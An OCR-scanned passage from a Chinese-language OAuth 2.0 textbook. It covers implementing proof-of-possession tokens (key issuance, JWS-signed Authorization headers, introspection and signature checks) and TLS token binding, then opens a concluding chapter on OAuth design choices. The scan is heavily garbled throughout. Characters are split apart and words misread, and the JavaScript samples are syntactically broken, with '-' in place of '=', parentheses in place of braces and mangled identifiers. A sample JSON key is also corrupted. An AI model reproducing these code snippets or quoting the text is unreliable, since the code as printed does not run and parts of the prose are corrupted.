令 牌 值 ， 以 及 其 他 信息 ( 如 权限 范围 和 客户 端 标识 符 ) 一 起 存储 起 来 。 当 客户 端 调用 受 保 护 资源 
时 , 会 生成 一 个 签名 消息 , 包含 令 牌 和 若干 HITP 请 求 部 件 。 该 签名 消息 会 通过 HTTP 请 求 头 部 
被 发 送 给 客户 端 。 受 保护 资源 收 到 请 求 后 会 解析 头 部 ， 从 签名 消息 中 取出 令 牌 ， 并 将 令 牌 值 发 送 
给 令 牌 内 省 端点 。 然 后 ， 授 权 服 务 器 会 查找 该 令 牌 值 ， 并 向 受 保护 资源 返回 对 应 令 牌 的 数据 , 包 
括 公 钥 。 受 保护 资源 会 验证 头 部 的 签名 ,并 将 其 内 容 与 请 求 进行 比 对 。 如 果 所 有 检查 都 通过 ， 则 
返回 资源 。 

看 起 来 是 不 是 很 简单 ? 来 开始 实现 吧 。 


15.3.1 ”颁发 令 牌 和 密 钥 


请 打开 本 节 的 练习 目录 ch-15-ex-1。 我 们 将 在 目前 只 支持 bearer 令 牌 的 基础 设施 之 上 构建 PoP 
令 牌 功 能 。 令 牌 本 身 依然 会 是 随机 字符 串 ， 但 增加 了 一 个 与 之 对 应 的 密 钥 。 
打开 authorizationServerjs 文件 ， 找 到 令 牌 端点 处 理 函 数 中 生成 令 牌 的 代码 。 之 前 它 只 是 生 
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成 一 个 随机 值 访问 令 牌 ,将 其 保存 并 返回 。 我 们 要 做 的 是 为 令 牌 增加 一 个 密 钥 。 我 们 引入 了 一 个 
E, 用 于 生成 JWK 格式 的 密 钥 ,然后 就 可 以 在 整个 应 用 中 存储 、 使 用 这 些 密 钥 。 需 要 注意 的 是 ， 
由 于 所 选 库 的 特性 ， 需 要 在 JavaScript 回调 函数 中 操作 密 钥 ， 而 在 其 他 平台 很 可 能 直接 生成 并 返 
回 密 钥 。 


if (code.authorizationEndpointRequest.client id == clientId) ( 











keystore.generate('RSA', 2048).then(function(key) ( 
var access token = randomstring.generate(); 


var access token key - key.toJSON(true); 
var access token public key - key.toJSON(); 


var token response = { access token: access token, access token key: 
access token key, token type: 'PoP', refresh token: req.body.refresh. 
token, scope: code.scope, alg: 'RS256' ); 


nosql.insert(( access token: access token, access token key: access . 
token public key, client id: clientId, scope: code.scope )); 


res.status(200).json(token response); 
console.log('Issued tokens for code $s', req.body.code); 


return; 
3): 


return; 


j 

请 注意 ， 因 为 使 用 的 是 非 对 称 密 钥 ， 所 以 存储 的 内 容 与 发 送 给 客户 端的 内 容 有 所 不 同 。 公 和 铀 
与 其 他 令 牌 信息 ( 如 权限 范围 和 客户 端 ID ) 会 被 一 起 存储 到 数据 库 。 公 钥 和 私 钥 对 会 作为 ISON 
对 象 的 access_token_key 字段 被 返回 给 客户 端 ， 令 牌 端 点 返回 的 数据 结构 如 下 。 

HTTP 200 OK 


Date: Fri, 31 Jul 2015 21:19:03 GMT 
Content-type: application/json 











( 


"access token": "987tghjkiu6trfghjuytrghj", 
"access token key": ( 
rar H 


"15z096Jpij5xrccN7M56UAytB3XTFYCjmSEkg8X200gFrgp7TqfIFcrNh62JPzosfaaw9vx13Hg 
yNXK9PRMq-gbtdwS1 OHi-0Y5  TNgSx06VGRSpbS8JHVsc8sVQ3ajH-wQu4k0D1EGwl1J8pmHXYAQ 
prKa7RObLJHDVQ uBtj-iCJUxqodMIY23c896PDFUBl1-M1SsjXJQCNF1aMv2ZabePhE m2xMeUX3L 
hOqXNT2W6C5rPyWRkvV. EtaBNdvOIxHUDXjR2Hrab5I-yIjIOyfPzBDI1W20DnK2hZirEyZPTP8vQV 
QCVtZe6lqnw533V6zQsH7HRdTytOY14ak8Q", 

"e": "AQAB", 

"n": "ojoQ9oFh0O0b9wzkcT-3zWsUnlBmk2chQXkF9rjxwAg5qyRWh56sWZx8uvPhwqmi9r 
1rOYHgyibOwimGwNPGWsP70G 6s9S3nMIVbz9GIztckai-O0DrLEF-oLbn3he4RV1 TV p1FSl 
D6YkTUMVWAYpceXiWldDOnHHZVXOF2SB5VfWSU7Dj3fKvbwbQLudiltDMpL dXBsVDIkPxoCir 
7zTaVmSRudvsjfx Z6d20AClm2XnZo4xsfHX HiCiDH3bp07y 3vPROOksQ3tgeeyyoA8xlrPs 
AVved2nUknwIiqlelImbOhoG3e8alVgA87HlkiTu5sLGEwY5AghjRe8sw", 
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"kty": "RSA" 
} 
vata "RS2596*.. 
"scope": "foo bar", 
"token type": "PoP" 
) 


注意 , 我 们 还 将 令 牌 类 型 由 Bearer 改 成 了 PoP。 在 本 练习 中 ，, 服务 右上 还 有 最 后 一 件 事 情 
需要 完成 , 那 就 是 通过 令 牌 内 省 响应 返回 访问 令 牌 密 钥 ,因为 稍 后 会 使 用 令 牌 内 省 来 查看 令 牌 详 
Té (参见 第 11 章 )。 在 内 省 端点 处 理 函 数 中 添加 一 行 代码 : 









































introspectionResponse.access token key = token.access token key; 


已 有 的 OAuth 客户 端 无 须 进 行 太 大 改动 就 能 够 解析 以 上 数据 结构 ， 请 看 下 一 节 。 
15.3.2 生成 签名 头 部 并 发 送 给 受 保护 资源 


这 一 节 的 工作 会 继续 在 ch-15-ex-1 目录 中 进行 ， 不 过 这 次 要 改动 的 是 clientjs 文件 。 首 先 ， 
需要 让 客户 端 将 密 钥 存 储 起 来 。 因 为 它 与 访问 令 牌 值 返回 自 同一 个 数据 结构 , 所 以 应 该 先 找 到 解 
析 和 存储 访问 令 牌 值 的 代码 。 当 前 的 代码 如 下 所 示 。 


var body = JSON.parse(tokRes.getBody()); 

















access, token = body.access, token; 
if (body.refresh token) ( 
refresh token - body.refresh token; 


) 
scope = body.scope; 


我 们 所 使 用 的 库 本 来 就 能 处 理 接收 到 的 JWK 格式 的 密 钥 。 因 此 ， 只 需要 添加 一 行 代 码 就 可 
以 取出 密 钥 值 并 将 它 存 储 到 一 个 变量 中 〈 key )。 还 需要 存储 所 使 用 的 算法 。 








key 
alg 


接 下 来 ， 需 要 使 用 该 密 钥 来 访问 受 保护 资源 。 我 们 将 创建 一 个 包含 请 求 载荷 的 JWS 对 象 ， 
并 使 用 刚才 颁发 的 访问 令 牌 对 它 签 名 。 请 找到 当前 发 送 bearer 令 牌 的 代码 。 首 先 ， 要 创建 一 个 头 
部 ， 然 后 在 载荷 中 加 入 访问 令 牌 值 和 时 间 戳 。 


var header = ( 'typ': 'PoP', 'alg': alg, 'kid': key.kid ); 


body.access token key; 
body.alg; 








var payload = (7; 
payload.at - access token; 
payload.ts - Math.floor(Date.now() / 1000); 


接 下 来 ， 向 载荷 中 添加 一 些 与 请 求 有 关 的 信息 。 规 范 中 对 这 一 部 分 未 做 强制 要 求 ,但 将 令 牌 
E HTTP 请 求 本 身 进 行 绑 定 是 个 不 错 的 主意 。 我 们 在 此 添加 了 HTTP 方法 引用 、 主机 名 以 及 路 径 。 
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我 们 未 对 头 部 和 查询 参数 进行 保护 ， 但 你 可 以 加 上 这 些 功 能 ， 作 为 提高 练习 。 


payload.m = 'POST'; 
payload.u = 'localhost:9002'; 
payload.p - '/resource'; 





主体 部 分 已 经 构造 完成 ， 接 下 来 要 创建 一 个 使 用 JWS 签名 的 对 象 ， 所 使 用 的 步骤 与 第 11 章 
相同 。 我 们 会 使 用 之 前 保存 的 访问 令 牌 对 应 的 密 钥 对 载荷 签名 。 
var privateKey = jose.KEYUTIL .getKey (key); 


var signed = jose.jws.JWS.sign(alg, JSON.stringify (header), 
JSON.stringify (payload), privateKey); 


此 机 制 与 第 11 章 中 授权 服务 器 创建 签名 令 牌 的 做 法 相似 ， 但 是 在 此 处 并 没有 生成 令 牌 。 实 
际 上 是 将 令 牌 包含 在 被 签名 的 对 象 中 。 还 要 提醒 一 下 ,客户 端 并 不 会 颁发 令 牌 。 现 在 所 做 的 只 是 
生成 一 个 能 由 受 保护 资源 进行 验证 的 签名 ， 以 此 证 明 我 们 ( 即 客户 端 ) 拥有 正确 的 密 钥 。 下 一 节 
会 介绍 ， 这 并 不 能 决定 其 包含 的 令 牌 适用 于 哪些 操作 ， 其 至 不 能 表明 令 牌 是 否 有 效 。 

最 后 , 将 这 个 签名 对 象 放 入 请 求 的 Authorization 头 部 ， 发 送 给 受 保护 资源 。 请 注意 , 我 
们 没有 发 送 bearer 类 型 的 令 牌 值 , 而 是 发 送 了 一 个 Po 类 型 的 签名 对 象 。 令 牌 值 包含 在 已 签名 的 
值 中 ， 受 到 签名 保护 ， 不 需要 分 开发 送 。 男 外 ， 请 求 的 其 他 结构 与 之 前 的 相同 。 





























var headers = { 
'Authorization': 'PoP ' + signed, 
'Content-Type': 'application/x-www-form-urlencoded' 


Js 

到 此 ， 客 户 端 后续 对 受 保护 资源 响应 的 处 理 与 之 前 没有 什么 不 同 。 虽 然 与 bearer 令 牌 相 比 ， 
PoP 令 牌 更 复杂 ， 需 要 多 做 一 些 额 外 的 工作 ,但 是 与 系统 中 的 其 他 部 分 相 比 ， 客 户 端的 负担 是 最 
小 的 。 


15.3.3 ”解析 头 部 、 内 省 令 牌 并 验证 签名 


在 最 后 这 一 节 ， 继 续 改动 ch-15-ex-1 目录 中 的 代码 , 不 过 现在 要 处 理 的 是 客户 端 将 令 牌 发 送 
给 受 保护 资源 之 后 的 事情 。 请 打开 protectedResource.js 文件 并 找到 getAccessToken PR, TET 
先 要 做 的 是 查找 PoP 关键 字 ， 而 不 是 之 前 查找 的 Bearer 关键 字 。 












































var auth = req.headers['authorization']; 
var inToken - null; 
if (auth && auth.toLowerCase().indexOf('pop') -- 0) ( 
inToken = auth.slice('pop '.length); 
) else if (req.body && req.body.pop access token) ( 
inToken - req.body.pop access token; 
( 





) else if (req.query && req.query.pop access token) ( 
inToken req.query.pop access token 


} 
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现在 需要 解析 JWS 结构 体 , 与 第 11 章 的 做 法 一 样 。 将 字符 串 以 句点 符号 (. ) 分 割 ， 解 码 出 
头 部 和 载荷 。 只 要 得 到 载荷 对 象 ， 就 从 它 的 at 字段 中 取出 访问 令 牌 值 。 
var tokenParts = inToken.split('.'); 


var header = JSON.parse(base64url.decode(tokenParts[0])); 
var payload = JSON.parse(base64url.decode(tokenParts[1])); 





var at - payload.at; 

接 下 来 ， 需 要 查找 该 令 牌 的 相关 信息 ,包括 其 权限 范围 以 及 对 应 的 密 钥 。 和 使 用 bearer 令 牌 
时 一 样 ， 有 几 种 方法 可 供 选 择 ， 包 括 数据 库 查 询 以 及 从 JWT 中 解析 。 在 本 练习 中 ， 我 们 将 通过 
令 牌 内 省 来 查询 。 对 令 牌 内 省 端点 的 调用 几乎 与 之 前 一 样 ， 但 不 同 的 是 ,我们 不 发 送 inToken 
值 (从 传人 的 请 求 中 解析 出 来 的 )， 而 是 发 送 提取 出 来 的 ac 值 。 

var form data = qs.stringify(( 


token: at 
ERES 








var headers = ( 
'Content-Type': 'application/x-www-form-urlencoded', 
'Authorization': 'Basic ' + encodeClientCredentials (protectedResource. 


resource id, protectedResource.resource secret) 


Je 


var tokRes - request('POST', authServer.introspectionEndpoint, ( 
body: form data, 
headers: headers 

)); 


如 果 内 省 响应 返回 的 结果 将 令 牌 标记 为 有 效 , 则 可 以 解析 出 密 钥 来 验证 签名 对 象 。 需 要 注意 
的 是 , 我们 得 到 的 只 是 公 钥 , 这 样 可 以 防止 受 保护 资源 使 用 该 令 牌 构造 有 效 的 请 求 。 相 比 于 bearer 
令 牌 ,这 是 一 个 巨大 的 优势 ,因为 恶意 的 受 保护 资源 可 以 很 轻易 地 重 放 bearer 令 牌 。 当 然 ， 此 处 
的 受 保护 资源 并 不 打算 去 盗 取 什 么 ， 所 以 现在 开始 检查 签名 。 


if (tokRes.statusCode »- 200 && tokRes.statusCode < 300) ( 
var body - JSON.parse(tokRes.getBody()); 









































var active - body.active; 
if (active) ( 


var pubKey - jose.KEYUTIL.getKey (body.access token key); 





if (jose.jws.JWS.verify(inToken, pubKey, [header.alg])) ( 
接 下 来 ， 检 查 签名 对 象 中 的 各 个 部 分 ， 确 保 它 们 与 传人 的 请 求 是 一 致 的 。 
if (!payload.m || payload.m == req.method) ( 
if (!payload.u || payload.u == 'localhost:9002') ( 
if (!payload.p || payload.p == req.path) ( 


如 果 所 有 检查 都 通过 ， 就 像 之 前 一 样 ， 将 令 牌 添加 到 req 对 象 上 。 应 用 中 的 处 理 函 数 自然 
会 检查 它们 ， 以 便 进 行 后 续 处 理 ， 我 们 不 需要 修改 应 用 的 剩余 部 分 。 
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req.access token = ( 
access token: at, 
Scope: body.scope 
Jw 
完整 的 函数 见 附录 B 中 的 代码 清单 16。 至 此 ， 可 以 说 我 们 基于 标准 草案 实现 了 一 套 功 能 完 
整 的 PoP 系统 。 最 终 的 规范 很 可 能 与 我 们 在 练习 中 的 实现 有 所 差别 , 不 过 现在 还 说 不 准 差别 会 有 
多 大 。 和 希望 规范 能 够 稳定 下 来 ,在 不 久 的 将 来 我 们 能 看 到 由 工作 组 构建 出 切实 可 行 的 、 具 有 互通 
性 的 PoP 系统 。 























15.4 TLS 令 牌 绑 定 


TLS 规范 通过 对 传输 信道 加 密 来 保护 传输 的 消息 。 这 种 加 密 位 于 网 络 上 的 两 个 端点 之 间 , 最 
常见 的 是 发 出 请 求 的 Web 客户 端 和 响应 请 求 的 Web 服务 器 之 间 。 令 牌 绑 定 提供 了 一 种 方法 ， 让 
应 用 层 协议 (比如 HTTP 协议， 以 及 运行 在 HTTP 之 上 的 OAuth 协议 ) 可 以 使 用 TLS 层 的 信息 。 
可 以 跨 层 对 这 些 信息 进行 比较 ， 以 确保 相同 组 件 可 以 随时 沟通 。 

通过 HTTPS 进行 令 牌 绑 定 的 前 提 相 对 简单 : 当 HTTP 客户 端 与 HTTP 服务 器 建立 TLS 连接 
时 ， 客 户 端 在 HTTP 头 部 中 包含 一 个 公 钥 〈 令 牌 绑 定 标 识 符 )， 并 证 明 其 拥有 对 应 的 私 铀 。 当 服 
务 器 颁发 令 牌 时 ,会 将 令 牌 与 此 标识 符 绑 定 。 当 客户 端 稍 后 再 连接 到 服务 器 时 ， 它 将 使 用 对 应 的 
私 钥 对 该 标识 符 签 名 ， 并 通过 TLS 头 部 来 传递 。 然 后 ， 服 务 器 就 能 够 验证 签名 ， 确 保 出 示 绑 定 
令 牌 的 客户 端 与 最 初出 示 临 时 密 钥 对 的 客户 端 是 同一 个 。 令 牌 绑 定 的 设计 初 囊 是 用 于 如 浏览 央 
cookie 这 种 非常 简单 的 场景 ， 因 为 所 有 交互 都 发 生 在 单个 信道 上 (如 图 15-4 所 示 )。 












































使 用 TLS 信 道 ABC 


带 有 cookie， 且 只 能 在 
(^ TLS 信 道 ABC 上 使 用 








资源 拥有 者 授权 服务 器 


还 是 带 有 相同 的 cookie， 
依然 在 TLS 信 道 ABC 上 








图 15-4 TLS 浏览 器 cookie 上 的 令 牌 绑 定 
令 牌 绑 定 需要 访问 TLS 层 ， 这 在 使 用 了 TLS 终结 器 ( 比如 Apache 的 HTTPD 反 向 代理 ) 的 
环境 下 很 难 实现 。 这 与 使 用 双向 TLS 身份 认证 也 不 一 样 ， 在 双向 TLS 身份 认证 中 ,通信 的 两 端 
都 需要 对 证 书 的 身份 进行 验证 。 但 是 ， 令 牌 绑 定 方法 是 让 应 用 更 直接 地 使 用 TLS 系统 中 已 有 的 
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言 息 来 增强 安全 性 。 由 于 令 牌 绑 定 功能 内 置 于 TLS 中 间 件 库 中 ， 它 对 所 有 层级 的 应 用 都 是 透明 
可 用 的 。 

对 于 OAuth 系统 ， 令 牌 绑 定 可 以 有 效 地 管理 资源 拥有 者 的 浏览 器 与 客户 端 或 授权 服务 器 之 
间 的 连接 , 也 可 以 很 好 地 用 于 在 客户 端 和 授权 服务 器 之 间 传 递 刷新 令 牌 。 但 是 ,对 于 访问 令 牌 就 
有 问题 了 : 颁发 令 牌 的 HTTP 服务 器 ( 授权 服务 器 ) 和 接收 令 牌 的 HTTP 服务 器 ( 受 保护 资源 ) 
通常 不 是 同一 个 ， 需 要 分 别 与 客户 端 建立 不 同 的 TLS 连接 。 假设 有 一 个 Web 客户 端 支持 令 牌 
内 省 ， 来 算 一 下 各 组 件 之 间 所 有 可 能 的 连接 数 ， 得 到 的 结果 是 至 少 有 5 条 不 同 的 TLS 信道 (如 
图 15-5 所 示 ): 

(1) 资源 拥有 者 的 浏览 器 到 授权 服务 器 的 授权 端点 ; 

(2) 资源 拥有 者 的 浏览 器 到 客户 端 ; 

(3) 客户 端 到 授权 服务 器 的 令 牌 端点 ; 

(4) 客户 端 到 受 保护 资源 ; 

(5) 受 保护 资源 到 授权 服务 器 的 内 省 端点 。 


































































资源 拥有 者 


客户 端 


受 保 护 资源 
图 15-5 一 个 典型 的 OAuth 生态 系统 中 不 同 的 TLS 信道 


在 简单 的 令 牌 绑 定 配置 中 ,以 上 每 一 个 通道 都 会 接收 不 同 的 令 牌 绑 定 标识 符 。 为 了 应 对 这 种 

不 一 致 ， 令 牌 绑 定 协议 允许 客户 端 将 一 个 连接 的 标识 符 发 送 给 另 一 个 连接 ,有 意 地 弥补 了 不 同 连 M5 | 
接 之 间 的 间隙。 也 就 是 说 ， 客 户 端 可 以 说 : “我 现在 在 信道 3 上 与 你 交流 ， 但 我 想 在 信道 4 上 也 
使 用 此 令 牌 ， 所 以 请 将 令 牌 绑 定 到 信道 4 上 .” 如 果 还 有 其 他 受 保护 资源 ， 情 况 会 变 得 更 复杂 ， 
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因为 客户 端 与 其 他 资源 之 间 的 每 一 个 连接 都 将 建立 不 同 的 TLS 信道 。 

实质 上 ， 当 客户 端 向 授权 服务 器 发 出 获取 OAuth 令 牌 的 请 求 时 ， 它 就 已 经 包含 了 用 于 与 受 
保护 资源 建立 连接 的 令 牌 绑 定 标识 符 。 授 权 服 务 器 会 将 颁发 的 令 牌 与 此 标识 符 进行 绑 定 ,而 不 是 
与 客户 端 和 授权 服务 器 之 间 的 连接 标识 符 进行 绑 定 。 当 客户 端 稍 后 使 用 此 令 牌 调用 受 保护 资源 
时 ， 受 保护 资源 会 验证 用 于 TLS 连接 的 标识 符 是 否 为 与 令 牌 绑 定 的 标识 符 。 

这 种 方法 要 求 客户 端 主动 管理 授权 服务 器 和 受 保 护 资源 之 间 的 对 应 关系 ， 而 许多 OAuth 客 
户 端 是 本 来 就 要 做 这 项 工作 的 ,因为 要 防止 将 令 牌 错误 地 发 送 至 其 他 受 保 护 资源 。 令 牌 绑 定 既 可 
以 和 bearer 令 牌 一 起 使 用 , 也 可 以 和 PoP 令 牌 一 起 使 用 , 除了 证 明 拥 有 令 牌 本 身 以 及 对 应 令 牌 密 
钥 之 外 ， 它 再 增加 了 一 层 确 认 。 
































15.5 小结 
OAuth bearer 令 牌 提供 了 简单 而 强大 的 功能 ， 但 某 些 应 用 场景 还 需要 一 些 比 bearer 令 牌 更 高 
级 的 功能 。 





O PoP 令 牌 需要 对 应 的 密 钥 ， 该 密 钥 对 客户 端 是 已 知 的 。 
SR en i 然后 将 其 发 送 给 受 保护 资源 。 
受 保护 资源 验证 签名 以 及 访问 令 牌 本 身 。 
O TLS 令 牌 绑 定 可 以 桥接 网 络 栈 中 的 多 个 层 ， 以 提供 更 高 的 连接 安全 保障 。 
本 书 已 经 接近 尾声 。 我 们 已 经 从 端 到 端 、 从 前 端 到 后 端 、 从 过 去 到 将 来 对 OAuth 进行 了 全 
方位 介绍 ， 接 下 来 将 归纳 总 结 这 整个 旅程 。 
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恭喜 你 读 完了 本 书 。 希望 你 获得 了 很 棒 的 阅读 体验 ,就 像 我 们 在 写 书 过 程 中 享受 的 一 样 。 书 
中 涉及 的 素材 很 多 ， 因 为 OAuth 并 不 是 一 个 简单 的 协议 ， 它 有 很 多 活动 部 件 ， 将 其 组 织 在 一 起 
的 方式 也 多 种 多 样 。 也 许 OAuth 初 看 起 来 令 人 生 上 其， 但 我 们 希望 你 现在 已 全 方位 掌握 了 它 的 工 
作 原 理 ， 并 且 明 白 其 意 在 简单 但 绝 非 简陋 。 希 望 你 从 构建 OAuth 各 个 组 件 的 练习 中 学 有 所 得 ， 
也 和 希望 它 能 够 指引 你 未 来 的 探索 之 路 。 在 这 最 后 一 章 ， 我 们 将 花 几 页 篇 幅 来 展望 远景 。 


16.1 正确 的 工具 


OAuth 是 一 个 功能 强大 的 授权 协议 , 但 我 们 知道 你 并 不 会 为 了 使 用 它 而 使 用 它 。OAuth 中 的 
“auth” 代 表 “ 授 权 ”, 除非 要 授权 某 种 操作 ,否则 没有 人 会 使 用 授权 协议 。 你 可 能 最 开始 用 OAuth 
做 过 其 他 事 ， 一 些 有 用 、 美 好、 奇妙 的 事情 。 无 论 是 保护 API、 构 建 访问 API 的 客户 端 ， 还 是 开 
发 一 个 系统 性 的 安全 架构 ,OAuth 都 仅仅 是 用 于 解决 某 些 问题 的 众多 工具 之 一 ,与 所 有 工具 一 样 ， 
了 解 工具 的 工作 原理 及 其 优点 非常 重要 。 毕 竟 , 用 锤子 虽然 可 以 将 螺丝 钉 打 人 墙壁 , 但 用 螺丝 刀 
可 能 会 更 省 力 。 和 希望 你 了 解 OAuth 适用 于 哪些 场景 ， 同 样 也 了 解 它 不 适用 于 哪些 场景。 

让 读者 对 OAuth 有 深刻 的 理解 ， 知 道 何 时 该 使 用 它 ， 以 及 如 何 用 它 来 解决 具体 问题 ， 这 就 
是 我 们 写作 的 初衷 。 本 书 不 仅仅 是 主要 互联 网 提供 商 的 OAuth 实施 指南 ， 也 不 仅仅 用 于 学 习 如 
何 使 用 某 个 具体 的 OAuth 库 ， 大 量 的 在 线 文档 已 经 能 满足 这 样 的 需求 。 我 们 希望 你 能 够 通过 本 
书 全 面 掌握 OAuth， 并 且 能 在 各 种 各 样 的 平台 和 应 用 上 使 用 它 。 

是 的 ， 应 该 没 人 会 从 头 开始 去 实现 一 个 OAuth 生态 系统 。 那 我 们 为 什么 要 把 这 些 繁杂 的 事 
情 都 做 一 遍 ? 本 书 旨 在 让 读者 能 够 深入 了 解 OAuth 协议 及 其 附属 组 件 ， 看 到 数据 是 如 何 流 经 整 
个 系统 的 。 若 从 头 到 尾 构建 整个 生态 系统 , 便 能 更 好 地 理解 当 客 户 端 发 出 请 求 然后 得 到 一 个 特殊 
响应 时 到 底 发 生 了 什么 , 或 者 客户 端 向 资源 服务 器 发 送信 息 的 方式 为 何 与 你 所 想 的 不 同 。 实现 一 
些 反面 示例 则 能 让 你 更 切身 地 理解 漏洞 是 如 何 产生 的 ， 并 提醒 自己 不 要 因为 疏忽 而 留 下 安全 漏 
洞 。 现 在 你 应 该 明白 我 们 为 什么 介绍 OAuth 流程 中 的 各 个 部 分 了 。 

如 果 你 没有 从 头 到 尾 阅读 本 书 , 而 是 根据 眼前 的 问题 直接 跳 到 最 相关 的 部 分 , 这 也 没什么 不 
妥 。 实 际 上 , 我 们 也 经 常 这 样 阅读 此 类 大 部 头 的 技术 书 。 不 过 ,现在 是 时 候 回 过 头 去 看 看 系统 的 
其 他 部 分 了 。 你 是 否 正 在 构建 一 个 客户 端 ? 去 试 一 下 构建 一 个 授权 服务 器 吧 。 你 是 否 正在 构建 浏 am 



























































































































































256 第 16 章 ”归纳 总 结 





Vds? 可 以 去 看 看 有 关 原 生 应 用 的 章节 。 若 你 正在 使 用 一 个 像 OpenID Connect 这 样 的 身份 
认证 协议 ， 可 以 回去 看 看 OAuth 协议 ， 了 解 一 下 OpenID Connect 中 的 身份 认证 信息 是 如 何 通过 
网 络 传输 的 。 


16.2 ”做 出 关键 决策 


从 全 书 可 以 看 出 ，OAuth 框架 的 选项 非常 多 。 要 全 部 罗列 这 些 选项 有 点 困难 ,但 我 们 希望 到 
现在 为 止 ， 你 已 经 清楚 了 解 如 何在 这 些 选项 中 做 选择 。 我 们 还 希望 你 能 看 到 OAuth 框架 提供 的 
每 个 不 同 选 项 的 价值 ， 以 及 这 些 选 项 存在 的 理由 。OAuth 2.0 并 没有 意图 通过 一 个 单 体 协议 来 满 
足 所 有 需求, 而 是 提供 各 种 组 件 来 负责 不 同 的 功能 。 希望 本 书 能 为 你 提供 如 何 选用 组 件 以 及 何 时 
使 用 组 件 的 方法 。 

我 们 知道 在 这 个 过 程 中 有 些 捷 径 会 诱惑 你 , 让 你 采用 看 起 来 更 简单 的 选项 , 而 不 是 选择 最 合 
适 的 。 毕 竟 ， 隐 式 流 程 如 此 简单 ， 为 什么 还 要 自 找 麻烦 使 用 授权 码 ? 或 者 ， 既 然 我 们 可 以 在 API 
中 添加 参数 ,让 客户 端 告诉 我 们 它 所 代表 的 是 哪个 用 户 ,为 什么 还 要 去 劳 烦 用 户 ? 然而 , 本 书 第 
三 部 分 介绍 漏洞 的 章节 已 经 说 明 ， 这 些 捷径 会 不 可 避免 地 导致 漏洞 。 虽 然 它们 看 起 来 邻 人 心动 ， 
但 安全 真 的 没有 捷径 可 走 。 

最 重要 的 决策 就 是 是 否 要 使 用 OAuth 2.0。OAuth 灵活 、 易 实施 ， 所 以 是 保护 API 的 首选 协 
No 不 过 这 也 很 容易 让 人 认为 OAuth 可 以 解决 很 多 不 同 的 问题 。OAuth 的 结构 和 理念 是 可 以 被 移 
植 的 , 目前 已 经 有 一 些 将 这 一 流程 部 署 到 非 HTTP 协议 上 的 尝试 。 关 键 是 OAuth 是 否 足 以 解决 问 
题 : 我 们 已 经 看 到 ， 在 现实 世界 中 ， 很 多 时 候 会 使 用 其 他 技术 对 OAuth 进行 扩展 ， 用 于 解决 比 
简单 的 授权 更 大 的 问题 。 我 们 认为 这 是 好 事 ， 有 利于 生态 系统 的 发 展 。 

一 旦 决定 要 构建 一 个 OAuth 系统 ， 就 应 该 先 问 一 个 问题 : 该 使 用 哪 种 授权 许可 类 型 ? 第 2 章 
详细 介绍 了 授权 码 许可 类 型 ， 第 3 ~ $ 章 将 它 完 整地 构建 出 来 了 ， 它 应 该 是 大 多 数 情况 下 的 默认 
选择 。 只 有 所 构建 的 系统 属于 需要 改进 的 几 类 特殊 情形 之 一 , 才 应 该 考虑 使 用 其 他 许可 类 型 。 这 
些 改进 空间 在 很 大 程度 上 取决 于 你 所 构建 (或 期 望 构建 ) 的 API 的 客户 端 类 型 。 例 如 ， 如 果 你 的 
客户 端 完 全 运行 在 浏览 器 中 ,那么 就 应 该 选择 隐 式 流程 。 但是， 如 果 你 所 构建 的 是 原生 应 用 ， 则 
仍然 应 该 选择 授权 码 许可 类 型 。 如 果 所 代表 的 不 是 特定 用 户 , 则 客户 端 凭据 流程 是 最 合适 的 。 但 
是 ， 如 果 要 代表 特定 用 户 执行 操作 ， 那么 最 好 采用 一 种 交互 式 许可 类 型 ， 让 用 户 能 够 参与 流程 。 
即使 用 户 不 做 授权 决定 ( 比如 在 企业 部 署 中 )， 情 况 也 是 如 此 ， 因 为 经 过 身份 认证 的 用 户 可 以 被 
当 作 整个 安全 体系 结构 中 的 一 大 支柱 。 

当然 , 即使 你 正确 地 做 出 每 一 个 重要 决策 , 在 部 署 或 使 用 中 仍然 可 能 出 错 。 这 就 是 安全 的 本 
质 , 保证 安全 性 是 要 付出 代价 的 。OAuth 将 复杂 性 从 客户 端 转移 到 授权 服务 器 ， 以 此 来 简化 人 们 
的 工作 ,但 即便 如 此 ， 也 需要 以 正确 的 方式 使 用 这 些 组 件 ， 包 括 确保 所 有 周边 和 底层 系统 ( 如 
TLS ) 按 预 期 启用 并 运行 。OAuth 亦 对 此 有 帮助 ， 因 为 其 安全 模型 已 在 各 种 系统 上 部 署 了 多 年 。 
通过 遵循 一 些 最 佳 实践 并 以 正确 的 方式 使 用 恰当 的 OAuth 组 件 ， 一 个 小 型 的 一 次 性 API 提供 商 
所 能 达到 的 安全 性 和 实现 的 授权 功能 也 可 以 媲美 当今 互联 网 中 最 大 型 的 API。 
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16.3 更 大 范围 的 生态 系统 


OAuth 就 是 为 安全 授权 而 生 , 并 且 胜 任 这 项 工作 。 其 他 任务 不 是 OAuth 的 强项 , 或 者 根本 无 
法 胜任 ,如 本 书后 半 部 分 展示 的 那样 。 这 并 不 是 一 件 坏事 。OAuth 让 一 个 广 妆 繁荣 的 生态 系统 得 
以 建立 。OAnuth 为 解决 不 同 问题 而 提供 了 一 系列 不 同 选 项 , 与 此 类 似 ， 其 周边 生态 系统 也 提供 
一 系列 方案 ， 能 够 与 OAuth 一 起 配合 解决 更 多 不 同 的 各 类 需求 。 

OAuth 工作 组 明确 遗留 了 几 项 内 容 , 这 些 内 容 在 真实 的 安全 体系 结构 中 是 很 关键 的 ， 比 如 访 
问 令 牌 本 身 的 格式 。 毕 竟 ， 如 果 本 来 就 需要 生成 令 牌 ,为 什么 不 公布 制作 令 牌 的 方法 ? 这 种 有 意 
的 忽略 已 经 众生 出 诸如 JOSE 和 JWT 这 样 的 补充 技术 ， 这 些 技术 可 以 与 OAuth 协同 工作 ,但 不 
依赖 OAuth。JOSE 以 一 种 对 于 开发 人 员 来 说 很 容易 的 方式 将 JSON 的 简单 性 与 先进 的 加 密 功 能 
结合 在 一 起 。 对 于 需要 压缩 令 牌 或 者 不 需要 自 包含 的 情况 , 令 牌 内 省 是 一 个 可 行 的 选择 。 重 要 的 
是 ， 这 两 项 技术 可 以 互 换 甚至 结合 在 一 起 ， 且 不 需要 客户 端 感知 ， 这 一 切 都 得 益 于 OAuth 致力 
于 做 一 件 事情 且 只 做 这 一 件 事情 。 

还 有 一 些 扩展 被 添加 到 OAuth， 用 于 处 理 一 些 特殊 情况 。 例 如 ,第 10 章 介绍 的 PKCE 扩展 ， 
使 用 本 地 应 用 专用 的 URI 方案 ,用 于 防止 原生 移动 应 用 上 的 授权 码 失窃。 脱离 这 个 狭窄 的 适用 
范围 ，PKCE 就 没有 什么 意义 了 ,但 在 这 个 范围 内 它 很 奏效 。 同 样 ， 令 牌 撤销 扩展 为 客户 端 提 供 
